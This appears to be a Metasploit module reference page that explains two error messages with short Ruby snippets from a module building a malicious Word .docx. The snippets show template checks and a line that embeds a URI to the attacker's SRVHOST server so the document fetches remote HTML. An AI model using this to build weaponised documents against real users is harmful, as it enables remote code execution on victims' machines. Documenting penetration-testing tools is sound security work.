224:	    unless document_xml_rels
225:	      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')

This template cannot be used because it is missing: word/_rels/document.xml.rels


Here is a relevant code snippet related to the "This template cannot be used because it is missing: word/_rels/document.xml.rels" error message:

220:	      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
221:	    end
222:	
223:	    document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
224:	    unless document_xml_rels
225:	      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
226:	    end
227:	
228:	    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
229:	    @docx.each do |entry|
230:	      case entry[:fname]

Template is not a docx file!


Here is a relevant code snippet related to the "Template is not a docx file!" error message:

326:	      datastore['SRVHOST'] = Rex::Socket.source_address
327:	    end
328:	
329:	    template_path = get_template_path
330:	    unless File.extname(template_path).match(/\.docx$/i)
331:	      fail_with(Failure::BadConfig, 'Template is not a docx file!')
332:	    end
333:	
334:	    print_status("Using template '#{template_path}'")
335:	    @docx = unpack_docx(template_path)
336:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • lockedbyte
  • klezVirus
  • thesunRider
  • mekhalleh (RAMELLA Sébastien)

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.